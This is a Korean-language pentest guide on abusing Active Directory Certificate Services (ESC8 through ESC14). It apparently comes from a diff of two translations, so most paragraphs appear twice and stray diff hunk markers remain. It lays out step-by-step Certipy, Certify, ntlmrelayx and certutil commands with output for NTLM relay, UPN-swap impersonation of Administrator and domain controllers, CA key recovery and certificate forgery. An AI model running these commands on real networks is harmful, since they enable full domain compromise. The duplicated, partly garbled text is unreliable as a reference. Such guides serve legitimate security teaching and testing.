AD CS는 관리자가 추가로 설치할 수 있는 서버 역할을 통해 여러 **HTTP 기반 enrollment 방식**을 지원합니다. 이러한 HTTP 기반 인증서 등록 인터페이스는 **NTLM relay 공격**에 취약합니다. 공격자는 **침해된 머신으로부터**, 인바운드 NTLM을 통해 인증하는 임의의 AD 계정을 가장할 수 있습니다. 피해자 계정을 가장한 상태에서, 공격자는 이러한 웹 인터페이스에 접근해 **`User` 또는 `Machine` 인증서 템플릿을 사용해 client authentication 인증서를 요청할 수 있습니다**.
- **web enrollment interface**(구형 ASP 애플리케이션, `http://<caserver>/certsrv/` 위치)는 기본적으로 HTTP만 사용하므로 NTLM relay 공격에 대한 보호가 없습니다. 또한 Authorization HTTP 헤더를 통해 명시적으로 NTLM 인증만 허용하므로 Kerberos 같은 더 안전한 인증 방식은 적용되지 않습니다.
- **Certificate Enrollment Service**(CES), **Certificate Enrollment Policy**(CEP) Web Service, 및 **Network Device Enrollment Service**(NDES)는 기본적으로 Authorization HTTP 헤더를 통해 negotiate 인증을 지원합니다. Negotiate 인증은 Kerberos와 **NTLM 둘 다** 지원하므로 공격자가 relay 공격 중에 **NTLM으로 다운그레이드**할 수 있습니다. 이 웹 서비스들은 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 NTLM relay 공격으로부터 **보호되지 않습니다**. HTTPS 서비스에 대한 NTLM relay 방어는 채널 바인딩과 결합된 HTTPS에서만 가능합니다. 안타깝게도 AD CS는 IIS에서 채널 바인딩에 필요한 Extended Protection for Authentication을 활성화하지 않니다.
- **web enrollment interface**(구형 ASP 애플리케이션, `http://<caserver>/certsrv/`서 사용 가능)는 기본적으로 HTTP만 사용하며 NTLM relay 공격에 대한 보호를 제공하지 않습니다. 또한 Authorization HTTP header를 통해 명시적으로 NTLM 인증만 허용하므로 Kerberos와 같은 더 안전한 인증 방법을 사용할 수 없습니다.
- **Certificate Enrollment Service**(CES), **Certificate Enrollment Policy**(CEP) Web Service, 및 **Network Device Enrollment Service**(NDES)는 기본적으로 Authorization HTTP header를 통해 negotiate 인증을 지원합니다. Negotiate 인증은 Kerberos와 **NTLM 둘 다** 지원하므로 공격자는 relay 공격 중에 **NTLM으로 강등(downgrade)** 할 수 있습니다. 이들 웹 서비스는 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 NTLM relay 공격으로부터 보호되지 않습니다. HTTPS 서비스에 대한 NTLM relay 공격 방지는 채널 바인딩(channel binding)과 결합된 HTTPS일 때만 가능합니다. 안타깝게도 AD CS는 IIS에서 Extended Protection for Authentication을 활성화하지 않으며, 이는 채널 바인딩을 위해 필요합니다.
NTLM relay 공격의 일반적인 문제는 NTLM 세션의 **짧은 지속 시간**과 공격자가 **NTLM signing을 요구하는 서비스와 상호작용할 수 없음**입니다.
그럼에도 불구하고, NTLM relay 공격으로 사용자 인증서를 획득하면 이 제한은 극복됩니다. 인증서의 유효 기간이 세션 지속 시간을 결정하고, 해당 인증서는 **NTLM signing을 요구하는 서비스**에서도 사용할 수 있기 때문입니다. 탈취한 인증서 활용 방법은 다음을 참조하세요:
그럼에도 불구하고, 이 제한은 NTLM relay 공격을 이용해 사용자의 인증서를 획득함으로써 극복될 수 있습니다. 인증서의 유효기간이 세션의 지속 시간을 결정하고, 획득한 인증서는 **NTLM signing을 요구하는 서비스**에도 사용될 수 있기 때문입니다. 탈취한 인증서 사용 방법은 다음을 참조하세요:
{{#ref}}
account-persistence.md
{{#endref}}
NTLM relay 공격의 또 다른 제약은 **공격자 제어 머신이 피해자 계정으로부터 인증을 받아야 한다**는 점입니다. 공격자는 기다리거나 이 인증을 **강제**하려 시도할 수 있습니다:
NTLM relay 공격의 또 다른 제한은 **공격자 제어 머신이 피해자 계정에 의해 인증되어야 한다는 점**입니다. 공격자는 기다리거나 이 인증을 **강제로 유발**하려 시도할 수 있습니다:
{{#ref}}
../printers-spooler-service-abuse.md
{{#endref}}
### **Abuse**
### 악용
[**Certify**](https://github.com/GhostPack/Certify)s `cas` enumerates **enabled HTTP AD CS endpoints**:
[**Certify**](https://github.com/GhostPack/Certify)s `cas`**사용 가능한 HTTP AD CS 엔드포인트들을 열거합니다**:
```
Certify.exe cas
```
@ -422,7 +420,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
#### Certify를 이용한 악용
#### Certify 악용
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -437,11 +435,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
```
#### [Certipy](https://github.com/ly4k/Certipy)를 이용한 악용
#### Certipy를 이용한 악용
인증서 요청은 기본적으로 Certipy가 `Machine` 또는 `User` 템플릿을 기반으로 수행되며, 이는 중계되는 계정 이름이 `$`로 끝나는지 여부에 따라 결정됩니다. 다른 템플릿`-template` 매개변수를 사용하여 지정할 수 있습니다.
인증서 요청은 기본적으로 Certipy가 템플릿 `Machine` 또는 `User`를 기반으로 수행하며, 전달되는 계정 이름이 `$`로 끝나는지 여부에 따라 결정됩니다. 다른 템플릿을 지정하려면 `-template` 파라미터를 사용하면 됩니다.
그런 다음 [PetitPotam](https://github.com/ly4k/PetitPotam) 같은 기술을 사용해 인증을 강제할 수 있습니다. 도메인 컨트롤러를 대상으로 할 때는 `-template DomainController`를 지정해야 합니다.
그런 다음 [PetitPotam](https://github.com/ly4k/PetitPotam)과 같은 기술을 사용하여 인증을 강제할 수 있습니다. 도메인 컨트롤러를 다룰 때는 `-template DomainController`를 지정해야 합니다.
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -458,123 +456,123 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### 설명
로운**`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)**`msPKI-Enrollment-Flag`**에 대해 ESC9로 불리며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` security extension**을 삽입하는 것을 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement``1`(기본값)로 설정되어 있을 때 의미가 생기며, `2`로 설정된 경우와 대조됩니다. ESC9의 부재가 요구사항을 변경하지 않기 때문에, Kerberos 또는 Schannel에 대해 더 약한 certificate mapping이 악용될 수 있는 시나리오(ESC10과 같은)에서 그 중요성이 커집니다.
새 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)**`msPKI-Enrollment-Flag`**에 대해 ESC9로 불리며, 인증서에 **새 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장**을 포함하는 것을 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement``1`(기본값)로 설정되어 있을 때 관련성을 가지며, `2`로 설정된 경우와는 대조됩니다. ESC9가 없더라도 요구사항이 변경되지 않는 상황에서는 Kerberos나 Schannel에 대한 더 약한 인증서 매핑이 악용될 수 있는 시나리오(ESC10에서와 같이)에서 그 관련성이 커집니다.
이 플래그의 설정이 중요해지는 조건은 다음과 같습니다:
- `StrongCertificateBindingEnforcement``2`로 조정되지 않았거나(기본값은 `1`), `CertificateMappingMethods``UPN` 플래그가 포함되어 있는 경우.
- `StrongCertificateBindingEnforcement``2`로 조정되지 않았거나(기본값은 `1`), 또는 `CertificateMappingMethods``UPN` 플래그가 포함 경우.
- 인증서가 `msPKI-Enrollment-Flag` 설정 내에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 표시된 경우.
- 인증서에 어떤 client authentication EKU 지정된 경우.
- 다른 계정을 탈취하기 위해 어떤 계정에 대해 `GenericWrite` 권한이 있는 경우.
- 인증서에 어떤 client authentication EKU라도 지정된 경우.
- 다른 계정을 침해하기 위해 어떤 계정에 대해 `GenericWrite` 권한이 있는 경우.
### 악용 시나리오
가령 `John@corp.local``Jane@corp.local`에 대해 `GenericWrite` 권한을 가지고 있고, 목표가 `Administrator@corp.local`를 탈취하는 것이라고 가정합니다. `Jane@corp.local`가 등록할 수 있도록 허용된 `ESC9` certificate template은 `msPKI-Enrollment-Flag` 설정에 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성되어 있습니다.
예를 들어 `John@corp.local``Jane@corp.local`에 대해 `GenericWrite` 권한을 가지고 있고 목표가 `Administrator@corp.local`를 침해하는 것이라고 가정합니다. `Jane@corp.local`이 등록할 수 있도록 허용된 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성되어 있습니다.
초기에, `Jane`hash`John``GenericWrite` 덕분에 Shadow Credentials를 사용하여 획득됩니다:
초기에, `Jane`해시`John``GenericWrite` 덕분에 Shadow Credentials를 사용하여 획득됩니다:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
그 후, `Jane``userPrincipalName``Administrator`로 수정되어 `@corp.local` 도메인 부분을 의도적으로 생략합니다:
이후, `Jane``userPrincipalName`이 의도적으로 `@corp.local` 도메인 부분을 생략한 채 `Administrator`로 수정됩니다:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
수정은 `Administrator@corp.local``Administrator``userPrincipalName`로서 여전히 별개로 남아 있기 때문에 제약을 위반하지 않습니다.
변경은 `Administrator@corp.local``Administrator``userPrincipalName`로서 구분된 상태로 유지되므로 제약을 위반하지 않습니다.
이후, 취약으로 표시된 `ESC9` 인증서 템플릿이 `Jane`로 요청됩니다:
이후, 취약한 것으로 표시된 `ESC9` 인증서 템플릿이 `Jane`로 요청됩니다:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
해당 인증서의 `userPrincipalName``Administrator`표시되며, 어떠한 “object SID”도 없습니다.
인증서의 `userPrincipalName``Administrator`나타나며, “object SID”가 없습니다.
`Jane``userPrincipalName`은 이후 원래 값인 `Jane@corp.local`되돌아갑니다:
`Jane``userPrincipalName`은 이후 원래 값인 `Jane@corp.local`복원됩니다:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
발급된 인증서로 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 출력됩니다. 인증서에 도메인 지정이 없으므로 명령어에 `-domain <domain>`을 포함해야 합니다:
발급된 인증서로 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시를 얻습니다. 인증서에 도메인 명시가 없으므로 명령에는 `-domain <domain>`을 포함해야 합니다:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
## 약한 인증서 매핑 - ESC10
## Weak Certificate Mappings - ESC10
### 설명
도메인 컨트롤러의 두 레지스트리 키 값이 ESC10에서 언급됩니다:
ESC10은 도메인 컨트롤러의 두 레지스트리 키 값을 가리킨다:
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 아래의 `CertificateMappingMethods` 기본값은 `0x18` (`0x8 | 0x10`)이며, 이전에는 `0x1F`로 설정되어 있었습니다.
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 아래의 `StrongCertificateBindingEnforcement` 기본 설정은 `1`이며, 이전에는 `0`이었습니다.
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 아래의 `CertificateMappingMethods` 기본값은 `0x18` (`0x8 | 0x10`)이며, 이전에는 `0x1F`로 설정되어 있었다.
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 아래의 `StrongCertificateBindingEnforcement` 기본 설정은 `1`이며, 이전에는 `0`이었다.
사례 1
**사례 1**
`StrongCertificateBindingEnforcement``0`으로 구성된 경우.
사례 2
**사례 2**
`CertificateMappingMethods``UPN` 비트(`0x4`)가 포함된 경우.
### 악용 사례 1
`StrongCertificateBindingEnforcement``0`으로 구성된 상태에서는, `GenericWrite` 권한을 가진 계정 A를 이용해 임의의 계정 B를 탈취할 수 있습니다.
`StrongCertificateBindingEnforcement``0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A를 이용해 임의의 계정 B를 침해할 수 있다.
예를 들어, `Jane@corp.local`에 대한 `GenericWrite` 권한을 가진 상황에서 공격자는 `Administrator@corp.local`를 탈취하려고 합니다. 절차는 ESC9와 유사하며, 어떤 인증서 템플릿이든 사용할 수 있습니다.
예를 들어, 공격자가 `Jane@corp.local`에 대해 `GenericWrite` 권한을 가지고 있고 `Administrator@corp.local`를 침해하려고 한다고 하자. 이 절차는 ESC9과 동일하게 진행되며, 어떤 인증서 템플릿도 사용할 수 있다.
초기에 `GenericWrite`를 악용하여 Shadow Credentials를 사용해 `Jane`의 해시를 획득합니다.
초기에, `GenericWrite`를 악용하여 Shadow Credentials를 사용해 `Jane`의 해시를 획득다.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
그 후, `Jane``userPrincipalName`은 제약 위반을 피하기 위해 `@corp.local` 부분을 고의로 생략한 채 `Administrator`로 변경된다.
그 후, `Jane``userPrincipalName`은 제약 위반을 피하기 위해 의도적으로 `@corp.local` 부분을 생략하고 `Administrator`로 변경됩니다.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
후 기본 `User` 템플릿을 사용해 `Jane`으로 클라이언트 인증을 허용하는 인증서를 요청합니다.
어서, 기본 `User` 템플릿을 사용하여 클라이언트 인증을 허용하는 인증서가 `Jane`으로 요청됩니다.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane``userPrincipalName`이후 원래 값인 `Jane@corp.local`로 되돌려집니다.
`Jane``userPrincipalName`그런 다음 원래 값인 `Jane@corp.local`로 되돌려집니다.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
얻은 인증서로 인증하면 `Administrator@corp.local`의 NT 해시를 얻을 수 있으며, 인증서에 도메인 정보가 없으므로 명령에 도메인을 지정해야 한다.
획득한 인증서로 인증하면 `Administrator@corp.local`의 NT hash를 얻으므로, 인증서에 도메인 정보가 없어 명령에서 도메인을 지정해야 합니다.
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### 악용 사례 2
`CertificateMappingMethods``UPN` 비트 플래그 (`0x4`)가 포함되어 있는 경우, `GenericWrite` 권한을 가진 계정 A는 `userPrincipalName` 속성이 없는 모든 계정 B를 손상시킬 수 있으며, 여기에는 머신 계정과 내장 도메인 관리자 `Administrator`가 포함됩니다.
`CertificateMappingMethods``UPN` 비트 플래그(`0x4`)를 포함하는 경우, `GenericWrite` 권한을 가진 계정 A는 `userPrincipalName` 속성이 없는 계정 B(머신 계정 및 내장 도메인 관리자 `Administrator` 포함)를 손상시킬 수 있습니다.
여기서 목표는 `DC$@corp.local`를 손상시키는 것이며, `GenericWrite`를 활용하여 Shadow Credentials를 통해 `Jane`의 해시를 얻는 것으로 시작합니다.
여기서는 목표가 `DC$@corp.local`을 손상시키는 것이며, `GenericWrite`를 활용해 Shadow Credentials를 통해 `Jane`의 해시를 얻는 것에서 시작합니다.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
`Jane``userPrincipalName` 그런 다음 `DC$@corp.local`로 설정됩니다.
그런 다음 `Jane``userPrincipalName``DC$@corp.local`로 설정됩니다.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
클라이언트 인증을 위한 인증서가 기본 `User` 템플릿을 사용하여 `Jane`으로 요청됩니다.
기본 `User` 템플릿을 사용해 클라이언트 인증용 인증서를 `Jane`으로 요청합니다.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane``userPrincipalName`은 이 프로세스 이후 원래 값으로 복원됩니다.
`Jane``userPrincipalName`은 이 프로세스 후 원래 값으로 되돌아갑니다.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Schannel을 통해 인증하려면 Certipy의 `-ldap-shell` 옵션을 사용하며, 인증 성공은 `u:CORP\DC$`로 표시됩니다.
Schannel을 통해 인증하기 위해 Certipy의 `-ldap-shell` 옵션이 사용되며, 인증 성공은 `u:CORP\DC$`로 표시됩니다.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
LDAP shell을 통해 `set_rbcd`와 같은 명령은 Resource-Based Constrained Delegation (RBCD) 공격을 가능하게 하여 domain controller를 잠재적으로 침해할 수 있습니다.
LDAP shell을 통해 `set_rbcd` 같은 명령으로 Resource-Based Constrained Delegation (RBCD) 공격을 수행하면 도메인 컨트롤러가 손상될 수 있습니다.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
이 취약점은 `userPrincipalName`이 없는 사용자 계정이나 `sAMAccountName`과 일치하지 않는 계정에도 해당됩니다. 기본적으로 `userPrincipalName`이 없는 기본 `Administrator@corp.local` 계정은 LDAP 권한이 높기 때문에 주요 표적이 됩니다.
이 취약점은 `userPrincipalName`이 없거나 `sAMAccountName`과 일치하지 않는 모든 사용자 계정에도 적용됩니다. 기본적으로 `userPrincipalName`이 설정되어 있지 않고 LDAP 권한이 높은 기본 계정인 `Administrator@corp.local`가 주요 공격 대상입니다.
## Relaying NTLM to ICPR - ESC11
### 설명
CA Server가 `IF_ENFORCEENCRYPTICERTREQUEST`로 구성되어 있지 않으면, RPC 서비스를 통해 서명 없이 NTLM relay 공격을 수행할 수 있습니다. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
CA Server가 `IF_ENFORCEENCRYPTICERTREQUEST`로 구성되어 있지 않으면 RPC 서비스를 통해 서명 없이 NTLM relay 공격이 가능해집니다. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
`certipy`를 사용하여 `Enforce Encryption for Requests`가 비활성화되어 있는지 열거할 수 있으며, certipy는 `ESC11` 취약점을 표시합니다.
`certipy`를 사용`Enforce Encryption for Requests`가 Disabled인지 열거할 수 있으며, certipy는 `ESC11` 취약점을 표시합니다.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -591,9 +589,9 @@ Enforce Encryption for Requests : Disabled
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
```
### Abuse Scenario
### 악용 시나리오
릴레이 서버를 설정해야 합니다:
relay server를 설정해야 합니다:
```bash
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
@ -612,7 +610,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
참고: 도메인 컨트롤러의 경우 DomainController에서 `-template`을 지정해야 합니다.
참고: 도메인 컨트롤러의 경우, DomainController에서 `-template`을 지정해야 합니다.
또는 [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
```bash
@ -624,17 +622,17 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
관리자는 Certificate Authority를 "Yubico YubiHSM2"와 같은 외부 장치에 저장하도록 설정할 수 있습니다.
CA 서버가 USB 포트에 직접 연결된 USB 장치이거나, CA 서버가 가상 머신인 경우 USB device server를 통해 연결된 경우, Key Storage Provider가 YubiHSM에서 키를 생성하고 사용하기 위해 인증 키(때때로 "password"라고도 함)가 필요합니다.
CA server가 USB 포트를 통해 USB device에 연결되어 있거나, CA server가 virtual machine인 경우 USB device server에 연결되어 있다면, Key Storage Provider가 YubiHSM에서 키를 생성하고 사용하는 데에 authentication key(때때로 "password"라고도 함)가 필요합니다.
이 키/비밀번호는 레지스트리의 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`에 평문으로 저장됩니다.
참조: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Abuse Scenario
### 악용 시나리오
CA의 개인 키가 물리적 USB 장치에 저장되어 있고 쉘 액세스를 얻은 경우, 키를 복구할 수 있습니다.
CA의 private key가 물리적 USB 장치에 저장되어 있고 당신이 shell access을 얻은 경우, 해당 키를 복구하는 것이 가능합니다.
먼저 CA 인증서(이것은 공개됨)를 확보한 다음:
먼저 CA certificate(이는 public함)를 확보한 후 다음을 수행합니다:
```cmd
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
@ -642,17 +640,17 @@ $ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
마지막으로, certutil `-sign` 명령을 사용해 CA 인증서와 그 개인 키로 임의의 새 인증서를 위조하세요.
마지막으로 certutil `-sign` 명령을 사용하여 CA 인증서와 해당 개인 키로 임의의 새 인증서를 위조하세요.
## OID Group Link Abuse - ESC13
### 설명
`msPKI-Certificate-Policy` 속성은 인증서 템플릿에 발행 정책을 추가할 수 있게 합니다. 발행 정책을 담당하는 `msPKI-Enterprise-Oid` 객체 PKI OID 컨테이너의 Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services)에서 찾을 수 있습니다. 이 객체의 `msDS-OIDToGroupLink` 속성을 사용해 정책을 AD 그룹에 링크할 수 있으며, 이를 통해 시스템은 인증서를 제시한 사용자를 해당 그룹의 구성원인 것처럼 권한을 부여할 수 있습니다. [참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
`msPKI-Certificate-Policy` 속성은 인증서 템플릿에 발행 정책을 추가할 수 있게 합니다. 발행 정책을 담당하는 `msPKI-Enterprise-Oid` 객체들은 PKI OID 컨테이너의 Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 이 객체의 `msDS-OIDToGroupLink` 속성을 사용해 정책을 AD 그룹에 연결할 수 있으며, 이를 통해 시스템은 인증서를 제시한 사용자를 해당 그룹의 멤버인 것처럼 권한을 부여할 수 있습니다. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
다시 말해, 사용자가 인증서를 enroll할 권한을 가지고 있고 그 인증서가 OID 그룹에 링크되어 있다면, 사용자는 해당 그룹의 권한을 상속받을 수 있습니다.
다시 말해, 사용자가 인증서를 등록할 권한이 있고 그 인증서가 OID 그룹에 연결되어 있으면, 사용자는 해당 그룹의 권한을 상속받을 수 있습니다.
OIDToGroupLink를 찾으려면 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1)를 사용하세요:
Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
```bash
Enumerating OIDs
------------------------
@ -676,47 +674,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```
### 악용 시나리오
사용자 권한을 찾으려면 `certipy find` 또는 `Certify.exe find /showAllPermissions`를 사용한다.
사용자가 사용할 수 있는 권한을 `certipy find` 또는 `Certify.exe find /showAllPermissions`로 확인하세요.
만약 `John``VulnerableTemplate`에 enroll할 권한이 있다면, 해당 사용자는 `VulnerableGroup` 그룹의 권한을 상속받을 수 있다.
만약 `John``VulnerableTemplate`을 등록할 권한을 가지고 있다면, 그 사용자는 `VulnerableGroup` 그룹의 권한을 승계받을 수 있습니다.
해야 할 은 템플릿을 지정하는 것뿐이며, 그러면 OIDToGroupLink 권한이 포함된 인증서를 받게 다.
해야 할 은 템플릿을 지정하는 것뿐이며, 그러면 OIDToGroupLink 권한이 포함된 인증서를 받게 됩니다.
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## 취약한 인증서 갱신 구성 - ESC14
## 취약한 인증서 갱신 구성- ESC14
### 설명
The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. 아래는 원문에서 인용한 내용이다.
The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text.
ESC14는 주로 Active Directory 사용자 또는 컴퓨터 계정의 `altSecurityIdentities` 속성의 오용 또는 안전하지 않은 구성에서 발생하는 "약한 명시적 인증서 매핑(weak explicit certificate mapping)"으로 인한 취약성을 다룬다. 이 다중 값 속성은 관리자가 X.509 인증서를 인증 목적을 위해 수동으로 AD 계정에 연결할 수 있게 해준다. 값이 채워지면 이러한 명시적 매핑은 보통 인증서의 SAN에 있는 UPN 또는 DNS 이름이나 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장에 포함된 SID에 의존하는 기본 인증서 매핑 로직을 재정의할 수 있다.
ESC14는 주로 Active Directory 사용자 또는 컴퓨터 계정의 `altSecurityIdentities` 속성의 오용 또는 불안전한 구성으로 인해 발생하는 "약한 명시적 인증서 매핑(weak explicit certificate mapping)" 취약점을 다룹니다. 이 다중 값 속성은 관리자가 인증 목적으로 X.509 인증서를 AD 계정에 수동으로 연결할 수 있게 합니다. 값이 채워지면 이러한 명시적 매핑은 일반적으로 인증서의 SAN에 있는 UPN 또는 DNS 이름, 또는 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장에 포함된 SID에 의존하는 기본적인 인증서 매핑 로직을 무시할 수 있습니다.
"약한" 매핑은 `altSecurityIdentities` 속성 내에서 인증서를 식별하는 데 사용되는 문자열 값이 너무 광범위하거나 쉽게 추측 가능하거나 고유하지 않은 인증서 필드에 의존하거나 쉽게 위조 가능한 인증서 구성 요소를 사용하는 경우 발생한다. 공격자가 권한 있는 계정에 대해 이렇게 약하게 정의된 명시적 매핑과 일치하는 속성을 가진 인증서를 획득하거나 생성할 수 있다면, 해당 인증서를 사용해 그 계정으로 인증하고 가장할 수 있다.
"약한(weak)" 매핑은 `altSecurityIdentities` 속성 내에서 인증서를 식별하기 위해 사용된 문자열 값이 지나치게 광범위하거나, 쉽게 추측 가능하거나, 고유하지 않은 인증서 필드에 의존하거나, 쉽게 위조 가능한 인증서 구성요소를 사용할 때 발생합니다. 공격자가 권한 있는 계정에 대해 이렇게 약하게 정의된 명시적 매핑과 일치하는 속성을 가진 인증서를 얻거나 제작할 수 있다면, 해당 인증서를 사용해 그 계정으로 인증하고 계정으로 가장할 수 있습니다.
잠재적으로 약한 `altSecurityIdentities` 매핑 문자열의 예는 다음과 같다:
잠재적으로 약한 `altSecurityIdentities` 매핑 문자열의 예는 다음과 같습니다:
- Mapping solely by a common Subject Common Name (CN): e.g., `X509:<S>CN=SomeUser`. 공격자는 이 CN을 가진 인증서를 덜 안전한 출처에서 얻을 수 있다.
- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
- 일반적인 Subject Common Name(CN)만으로 매핑: 예: `X509:<S>CN=SomeUser`. 공격자는 보안이 약한 소스에서 이 CN을 가진 인증서를 얻을 수 있습니다.
- 특정 일련번호나 subject key identifier 같은 추가 자격 없이 지나치게 일반적인 Issuer Distinguished Name(DN) 또는 Subject DN 사용: 예: `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- 공격자가 정당하게 얻거나 위조할 수 있는 인증서에서 만족시킬 수 있는 예측 가능한 패턴이나 비암호학적 식별자 사용(예: CA가 손상되었거나 ESC1과 같은 취약한 템플릿을 찾은 경우).
`altSecurityIdentities` 속성은 다음과 같은 다양한 매핑 형식을 지원다:
`altSecurityIdentities` 속성은 다음과 같은 다양한 매핑 형식을 지원합니다:
- `X509:<I>IssuerDN<S>SubjectDN` (발급자 DN과 주체 DN 전체로 매핑)
- `X509:<I>IssuerDN<S>SubjectDN` (Issuer 및 Subject DN 전체로 매핑)
- `X509:<SKI>SubjectKeyIdentifier` (인증서의 Subject Key Identifier 확장 값으로 매핑)
- `X509:<SR>SerialNumberBackedByIssuerDN` (일반적으로 발급자 DN으로 암시적으로 한정되는 일련번호로 매핑) - 이 형식은 표준 형식이 아니며 보통은 `<I>IssuerDN<SR>SerialNumber`이다.
- `X509:<RFC822>EmailAddress` (SAN의 RFC822 이름, 일반적으로 이메일 주소로 매핑)
- `X509:<SR>SerialNumberBackedByIssuerDN` (일련번호로 매핑, 암묵적으로 Issuer DN으로 한정됨) - 표준 형식은 아니며 보통은 `<I>IssuerDN<SR>SerialNumber`이다.
- `X509:<RFC822>EmailAddress` (SAN의 RFC822 이름(일반적으로 이메일 주소)으로 매핑)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (인증서의 원시 공개키에 대한 SHA1 해시로 매핑 - 일반적으로 강력함)
들 매핑의 보안성은 매핑 문자열에 사용된 인증서 식별자의 구체성, 고유성 및 암호학적 강도에 크게 의존한다. 도메인 컨트롤러에서 강력한 인증서 바인딩 모드가 활성화되어 있더라도(이는 주로 SAN UPNs/DNS 및 SID 확장에 기반한 암시적 매핑에 영향을 줌), 잘못 구성된 `altSecurityIdentities` 항목은 매핑 로직 자체가 결함이 있거나 너무 관대할 경우 여전히 가장화로 이어지는 직접적인 경로를 제공할 수 있다.
